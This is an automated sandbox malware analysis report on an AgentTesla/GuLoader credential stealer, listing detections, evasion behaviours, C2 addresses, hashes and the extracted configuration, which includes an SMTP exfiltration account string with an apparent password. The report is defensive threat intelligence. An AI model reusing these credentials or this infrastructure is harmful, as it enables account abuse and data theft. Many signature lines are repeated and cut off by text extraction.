
ID: 528196
Sample Name: exe.exe
Cookbook: default.jbs
Time: 20:58:20
Date: 24/11/2021
Version: 34.0.0 Boulder Opal
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Windows Analysis Report exe.exe

Overview

General Information

Sample 
Name:

exe.exe

Analysis ID: 528196

MD5: ccdf9de19a42d30…

SHA1: 413b2f4c1cc4f24…

SHA256: 0a2a2c18fa708a3…

Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoaderAgentTesla GuLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTeslaYara detected AgentTesla

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via filTries to steal Mail credentials (via fil……

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / WiTries to harvest and steal Putty / Wi……

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.runTries to detect Any.run

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login cTries to harvest and steal ftp login c……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter inQueries sensitive network adapter in……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information Queries sensitive BIOS Information ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential StealerYara detected Credential Stealer

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

PE file contains executable resource

PE file contains executable resource

PE file contains executable resource

PE file contains executable resource

PE file contains executable resource

PE file contains executable resource

PE file contains executable resourcePE file contains executable resource……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user ageUses a known web browser user age……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)Uses SMTP (mail sending)

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informaQueries sensitive processor informa……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

exe.exe (PID: 5864 cmdline: "C:\Users\user\Desktop\exe.exe"  MD5: CCDF9DE19A42D303579DFCC11F846BCB)

CasPol.exe (PID: 5840 cmdline: "C:\Users\user\Desktop\exe.exe"  MD5: 914F728C04D3EDDD5FBA59420E74E56B)

conhost.exe (PID: 5668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

{
  "Exfil Mode": "SMTP",
  "SMTP Info": "gulnaz@furteksdokuma.com.tr@Gulnaz159753mail.furteksdokuma.com.trkevinlog25@gmail.com"
}

{
  "Payload URL": "https://drive.google.com/uc?export=download"
}

Source Rule Description Author Strings

00000004.00000002.178067906148.000000001
DFE1000.00000004.00000001.sdmp

JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

00000004.00000002.178067906148.000000001
DFE1000.00000004.00000001.sdmp

JoeSecurity_CredentialSte
aler

Yara detected 
Credential Stealer

Joe Security

00000004.00000000.173087350573.000000000
0F00000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

Process Tree

Malware Configuration

Threatname: Agenttesla

Threatname: GuLoader

Yara Overview

Memory Dumps
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Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Networking:

C2 URLs / IPs found in malware configuration

Data Obfuscation:

Yara detected GuLoader

Malware Analysis System Evasion:

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Stealing of Sensitive Information:

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

00000002.00000002.173205979161.000000000
2AD0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

Process Memory Space: CasPol.exe PID: 5840 JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

Click to see the 1 entries

Source Rule Description Author Strings

Copyright Joe Security LLC 2021 Page 5 of 36



Remote Access Functionality:

Yara detected AgentTesla

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Valid
Accounts

Windows Management
Instrumentation 2 1 1

DLL Side-
Loading 1

Process
Injection 1 1 2

Disable or Modify
Tools 1

OS
Credential
Dumping 2

Security Software
Discovery 4 2 1

Remote
Services

Email
Collection 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1 1

Default
Accounts

Scheduled Task/Job Boot or
Logon
Initialization
Scripts

DLL Side-
Loading 1

Virtualization/Sandbox
Evasion 3 4 1

Credentials
in
Registry 1

Process Discovery 2 Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Non-Standard
Port 1

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Process
Injection 1 1 2

Security
Account
Manager

Virtualization/Sandbox
Evasion 3 4 1

SMB/Windows
Admin Shares

Data from
Local
System 2

Automated
Exfiltration

Ingress Tool
Transfer 1

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 1

NTDS Application Window
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-Application
Layer Protocol

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

DLL Side-Loading 1 LSA
Secrets

File and Directory
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Application Layer
Protocol 1 2

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Steganography Cached
Domain
Credentials

System Information
Discovery 1 1 5

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Behavior Graph
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Behavior Graph

ID: 528196

Sample: exe.exe

Startdate: 24/11/2021

Architecture: WINDOWS

Score: 100

mail.furteksdokuma.com.tr furteksdokuma.com.tr 3 other IPs or domains

Found malware configuration Multi AV Scanner detection
for submitted file Yara detected GuLoader 3 other signatures

exe.exe

1

        started       

Writes to foreign memory
regions Tries to detect Any.run Hides threads from debuggers

CasPol.exe

11

        started       

furteksdokuma.com.tr

116.202.203.61, 49823, 587

HETZNER-ASDE

Germany

drive.google.com

142.250.185.206, 443, 49800

GOOGLEUS

United States

googlehosted.l.googleusercontent.com

142.250.185.225, 443, 49801

GOOGLEUS

United States

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Tries to steal Mail
credentials (via file

/ registry access)
5 other signatures

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Copyright Joe Security LLC 2021 Page 7 of 36



Source Detection Scanner Label Link

exe.exe 21% Virustotal Browse

No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link

furteksdokuma.com.tr 0% Virustotal Browse

mail.furteksdokuma.com.tr 0% Virustotal Browse

Source Detection Scanner Label Link

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

DynDns.comDynDNS 0% Avira URL Cloud safe

https://sectigo.com/CPS0 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-
0.4.3.6.zip%tordir%%ha

0% Avira URL Cloud safe

https://lao1LlhpkeBMmFJyrpB.net 0% Avira URL Cloud safe

furteksdokuma.com.tr 0% Avira URL Cloud safe

mail.furteksdokuma.com.tr 0% Avira URL Cloud safe

tbLjUn.com 0% Avira URL Cloud safe

https://csp.withgoogle.com/csp/report-to/gse_l9ocaq 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 36
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https://www.virustotal.com/gui/url/4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e/detection/u-4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e-1562260472
https://www.virustotal.com/gui/url/c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb/detection/u-c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb-1635755249


General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 528196

Start date: 24.11.2021

Start time: 20:58:20

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 12m 51s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: exe.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe 
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 
analysed:

16

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@4/2@3/3

Name IP Active Malicious Antivirus Detection Reputation

drive.google.com 142.250.185.206 true false high

googlehosted.l.googleusercontent.com 142.250.185.225 true false high

furteksdokuma.com.tr 116.202.203.61 true true 0%, Virustotal, Browse unknown

doc-0k-5k-docs.googleusercontent.com unknown unknown false high

mail.furteksdokuma.com.tr unknown unknown true 0%, Virustotal, Browse unknown

Name Malicious Antivirus Detection Reputation

https://doc-0k-5k-
docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4luicq00
u81odku6djgi2itsobe9p/1637784000000/06007705055686197661/*/1TZC5rT7z4IslTtNi8eG1vxr
TVZrhSZe8?e=download

false high

IP Domain Country Flag ASN ASN Name Malicious

142.250.185.206 drive.google.com United States 15169 GOOGLEUS false

116.202.203.61 furteksdokuma.com.tr Germany 24940 HETZNER-ASDE true

142.250.185.225 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Copyright Joe Security LLC 2021 Page 9 of 36

https://www.virustotal.com/gui/url/4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e/detection/u-4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e-1562260472
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EGA Information: Successful, ratio: 100%

HDC Information: Failed

HCA Information: Successful, ratio: 96%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

21:00:39 API Interceptor 2806x Sleep call for process: CasPol.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

116.202.203.61 FACTURAS.exe Get hash malicious Browse

sG98fX27l7.exe Get hash malicious Browse

BBVA-Confirming Facturas Pagadas al Vencimiento.exe Get hash malicious Browse

ejecutable.exe Get hash malicious Browse

TT COPY.exe Get hash malicious Browse

PEDIDO.exe Get hash malicious Browse

Request Quotation.exe Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

HETZNER-ASDE J73PTzDghy.exe Get hash malicious Browse 94.130.138.146

piPvSLcFXV.exe Get hash malicious Browse 88.99.210.172

fkYZ7hyvnD.exe Get hash malicious Browse 116.202.14.219

.#U266bvmail-478314QOZVOYBY30.htm Get hash malicious Browse 168.119.38.214

pYebrdRKvR.dll Get hash malicious Browse 78.47.204.80

pPX9DaPVYj.dll Get hash malicious Browse 78.47.204.80

wUKXjICs5f.dll Get hash malicious Browse 78.47.204.80

cRC6TZG6Wx.dll Get hash malicious Browse 78.47.204.80

qrb6jVwzoe.dll Get hash malicious Browse 78.47.204.80

copy_tt_inv_10192ne.exe Get hash malicious Browse 49.12.42.56

FACTURAS.exe Get hash malicious Browse 116.202.203.61

wE3YzRd1IZ.exe Get hash malicious Browse 135.181.16
3.109

wCkjCMnGrO Get hash malicious Browse 116.203.73.1

79GRrdea5l.exe Get hash malicious Browse 159.69.123.221

MtCsSK9TK2.exe Get hash malicious Browse 95.216.4.252

0331C7BCA665F36513377FC301CBB32822FF35F9
25115.exe

Get hash malicious Browse 5.9.164.117

C54CA1DF46D817348C9BDF18F857459D7CA05C51
F7F30.exe

Get hash malicious Browse 135.181.12
9.119

6D2FF3CC83EA214E33E4105CCB1051CD85B82E05
2F615.exe

Get hash malicious Browse 5.9.162.45

j0UcwcqjvM.exe Get hash malicious Browse 5.9.162.45

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/415692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid
https://view.joesandbox.com/analysis/407273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407273/html/none?idtype=webid
https://view.joesandbox.com/analysis/406606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406606/html/none?idtype=webid
https://view.joesandbox.com/analysis/406237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406237/html/none?idtype=webid
https://view.joesandbox.com/analysis/403379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403379/html/none?idtype=webid
https://view.joesandbox.com/analysis/403234/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403234/html/none?idtype=webid
https://view.joesandbox.com/analysis/201558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/201558/html/none?idtype=webid
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid
https://view.joesandbox.com/analysis/415888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415888/html/none?idtype=webid
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid
https://view.joesandbox.com/analysis/415815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415815/html/none?idtype=webid
https://view.joesandbox.com/analysis/415759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415759/html/none?idtype=webid
https://view.joesandbox.com/analysis/415756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415756/html/none?idtype=webid
https://view.joesandbox.com/analysis/415755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415755/html/none?idtype=webid
https://view.joesandbox.com/analysis/415753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415753/html/none?idtype=webid
https://view.joesandbox.com/analysis/415751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415751/html/none?idtype=webid
https://view.joesandbox.com/analysis/415694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415694/html/none?idtype=webid
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid
https://view.joesandbox.com/analysis/415521/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415521/html/none?idtype=webid
https://view.joesandbox.com/analysis/415443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415443/html/none?idtype=webid
https://view.joesandbox.com/analysis/415428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415428/html/none?idtype=webid
https://view.joesandbox.com/analysis/415425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415425/html/none?idtype=webid
https://view.joesandbox.com/analysis/415410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415410/html/none?idtype=webid
https://view.joesandbox.com/analysis/415401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415401/html/none?idtype=webid
https://view.joesandbox.com/analysis/415398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415398/html/none?idtype=webid
https://view.joesandbox.com/analysis/415385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415385/html/none?idtype=webid


0K31jgS20G.exe Get hash malicious Browse 5.9.162.45

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

37f463bf4616ecd445d4a1937da06e19 INF-BRdocsx.NDVDELDKRS.msi Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

2GEg45PlG9.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

cJ2wN3RKmh.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

J73PTzDghy.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

fkYZ7hyvnD.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

xzmHphquAP.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

R0xLHA2mT5.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

Rats4dIOmA.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

XP-SN-7843884.htm Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

XP-SN-8324655.htm Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

new-1834138397.xls Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

1.htm Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

FACTURAS.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

new-1179494065.xls Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

Arrival Notice, CIA Awb Inv Form.pdf.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

TT-PRIME USD242,357,59.ppam Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

chase.xls Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

Statement from QNB.exe Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

JA3 Fingerprints
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https://view.joesandbox.com/analysis/415382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415382/html/none?idtype=webid
https://view.joesandbox.com/analysis/415937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415937/html/none?idtype=webid
https://view.joesandbox.com/analysis/415911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415911/html/none?idtype=webid
https://view.joesandbox.com/analysis/415909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415909/html/none?idtype=webid
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid
https://view.joesandbox.com/analysis/415832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415832/html/none?idtype=webid
https://view.joesandbox.com/analysis/415821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415821/html/none?idtype=webid
https://view.joesandbox.com/analysis/415819/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415819/html/none?idtype=webid
https://view.joesandbox.com/analysis/415810/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415810/html/none?idtype=webid
https://view.joesandbox.com/analysis/415742/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415742/html/none?idtype=webid
https://view.joesandbox.com/analysis/415721/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415721/html/none?idtype=webid
https://view.joesandbox.com/analysis/415699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415699/html/none?idtype=webid
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid
https://view.joesandbox.com/analysis/415686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415686/html/none?idtype=webid
https://view.joesandbox.com/analysis/415667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415667/html/none?idtype=webid
https://view.joesandbox.com/analysis/415666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415666/html/none?idtype=webid
https://view.joesandbox.com/analysis/415664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415664/html/none?idtype=webid
https://view.joesandbox.com/analysis/415636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415636/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 4.802371954737389

private-1915056036.xls Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

private-1910485378.xls Get hash malicious Browse 142.250.18
5.206
142.250.18
5.225

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\Users\user\AppData\Local\Temp\~DFF6C17D3AB00DBF02.TMP
Process: C:\Users\user\Desktop\exe.exe

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 16384

Entropy (8bit): 0.9277305547216628

Encrypted: false

SSDEEP: 48:rJSq2Upu8metqPrIXHimU7zdvP1vncU7pCr8P:VSKUpACLFcUVCrG

MD5: 19809EDD1FF00A1D7C105BC58A97CD02

SHA1: 26FB6D339CF2A7474DE6F785166163FA9B2ADBB1

SHA-256: 4745D04A4BB99D70866D722394D9E71F3FAE597AA84E229A1E3B40F31521594C

SHA-512: 434722936006B56B042FB5C72CAB98D8B7615A5A0E48EE6746DD6839BE029029E3BCECF7EFA49DDC8A9DB016FA472FB9EE1CE75126C13E06D66EAA12166A38F
7

Malicious: false

Reputation: low

Preview:
......................>.......................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
............................................................................................................................................................................................

\Device\ConDrv
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit): 3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITqAGRHner

MD5: 9F754B47B351EF0FC32527B541420595

SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591

SHA-512: C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532

Malicious: false

Reputation: moderate, very likely benign file

Preview:
NordVPN directory not found!..

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/415621/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415621/html/none?idtype=webid
https://view.joesandbox.com/analysis/415612/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415612/html/none?idtype=webid


TrID: Win32 Executable (generic) a (10002005/4) 
99.15%
Win32 Executable Microsoft Visual Basic 6 
(82127/2) 0.81%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: exe.exe

File size: 131072

